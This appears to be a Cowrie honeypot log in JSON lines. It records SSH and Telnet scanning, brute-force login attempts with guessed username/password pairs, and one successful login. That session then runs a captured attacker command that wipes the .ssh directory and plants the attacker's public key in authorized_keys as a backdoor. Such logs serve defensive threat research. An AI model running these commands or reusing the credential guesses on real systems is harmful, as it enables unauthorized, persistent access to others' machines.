{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:55.402071Z","src_ip":"103.82.132.16","session":"96272fe00387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxzdsaewq","message":"login attempt [root/cxzdsaewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:56.192574Z","src_ip":"103.82.132.16","session":"96272fe00387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:57.456099Z","src_ip":"103.82.132.16","session":"96272fe00387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58060,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb4525cea28","protocol":"telnet","message":"New connection: 152.42.224.71:58060 (10.17.0.5:23) [session: cbb4525cea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:58.337304Z"}
{"eventid":"cowrie.session.closed","duration":11.062724590301514,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:58.499552Z","src_ip":"66.132.195.83","session":"c89fa508ea59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.876747608184814,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:59.639693Z","src_ip":"152.42.224.71","session":"ce66005a8424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fac8a08ddcc","protocol":"telnet","message":"New connection: 152.42.224.71:58062 (10.17.0.5:23) [session: 8fac8a08ddcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:00.345111Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06da96bb4c8","protocol":"telnet","message":"New connection: 152.42.224.71:58072 (10.17.0.5:23) [session: e06da96bb4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:03.741590Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":37296,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9f6cc746d85","protocol":"ssh","message":"New connection: 103.188.177.46:37296 (159.203.135.109:22) [session: a9f6cc746d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:04.977702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:04.986361Z","src_ip":"103.188.177.46","session":"a9f6cc746d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:05.223582Z","src_ip":"103.188.177.46","session":"a9f6cc746d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:06.199504Z","src_ip":"103.188.177.46","session":"a9f6cc746d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:07.437988Z","src_ip":"103.188.177.46","session":"a9f6cc746d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.83459162712097,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:20.766275Z","src_ip":"152.42.224.71","session":"e18f0c242cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46586,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0d132460b9","protocol":"telnet","message":"New connection: 152.42.224.71:46586 (10.17.0.5:23) [session: de0d132460b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:20.882846Z"}
{"eventid":"cowrie.session.closed","duration":25.202843189239502,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:28.944303Z","src_ip":"152.42.224.71","session":"e06da96bb4c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":33488,"dst_ip":"159.203.135.109","dst_port":22,"session":"c623f0297496","protocol":"ssh","message":"New connection: 102.210.148.92:33488 (159.203.135.109:22) [session: c623f0297496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:30.457526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:30.462559Z","src_ip":"102.210.148.92","session":"c623f0297496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:30.709784Z","src_ip":"102.210.148.92","session":"c623f0297496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46308,"dst_ip":"10.17.0.5","dst_port":23,"session":"3503dc4ad87d","protocol":"telnet","message":"New connection: 152.42.224.71:46308 (10.17.0.5:23) [session: 3503dc4ad87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:31.523166Z"}
{"eventid":"cowrie.login.failed","username":"qichen","password":"qichen","message":"login attempt [qichen/qichen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:31.729183Z","src_ip":"102.210.148.92","session":"c623f0297496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:32.980021Z","src_ip":"102.210.148.92","session":"c623f0297496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.17244267463684,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:38.509648Z","src_ip":"152.42.224.71","session":"cbb4525cea28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37484,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bdc5886e4a","protocol":"telnet","message":"New connection: 152.42.224.71:37484 (10.17.0.5:23) [session: 64bdc5886e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:40.369774Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":32926,"dst_ip":"159.203.135.109","dst_port":23,"session":"a856b2332d4d","protocol":"telnet","message":"New connection: 134.209.74.135:32926 (159.203.135.109:23) [session: a856b2332d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:50.055517Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39720,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b8e4341a64","protocol":"ssh","message":"New connection: 103.195.236.96:39720 (10.17.0.5:22) [session: 60b8e4341a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:54.798445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:54.804072Z","src_ip":"103.195.236.96","session":"60b8e4341a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:55.043825Z","src_ip":"103.195.236.96","session":"60b8e4341a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2002","message":"login attempt [root/vlad2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:55.756855Z","src_ip":"103.195.236.96","session":"60b8e4341a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:36:57.005326Z","src_ip":"103.195.236.96","session":"60b8e4341a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.37776613235474,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:00.876504Z","src_ip":"152.42.224.71","session":"721fd1604655","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":53234,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f8cc355bc69","protocol":"ssh","message":"New connection: 43.156.28.136:53234 (159.203.135.109:22) [session: 0f8cc355bc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:05.457638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:05.462574Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:05.700622Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:06.680257Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.201860Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.205351Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.209419Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.684045Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.977463Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:07.980934Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:08.224102Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:08.228021Z","src_ip":"43.156.28.136","session":"0f8cc355bc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":59040,"dst_ip":"159.203.135.109","dst_port":22,"session":"29a28d02de8f","protocol":"ssh","message":"New connection: 43.156.28.136:59040 (159.203.135.109:22) [session: 29a28d02de8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:08.457251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:08.462596Z","src_ip":"43.156.28.136","session":"29a28d02de8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:08.700191Z","src_ip":"43.156.28.136","session":"29a28d02de8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:37:09.678073Z","src_ip":"43.156.28.136","session":"29a28d02de8f","protocol":"ssh"}
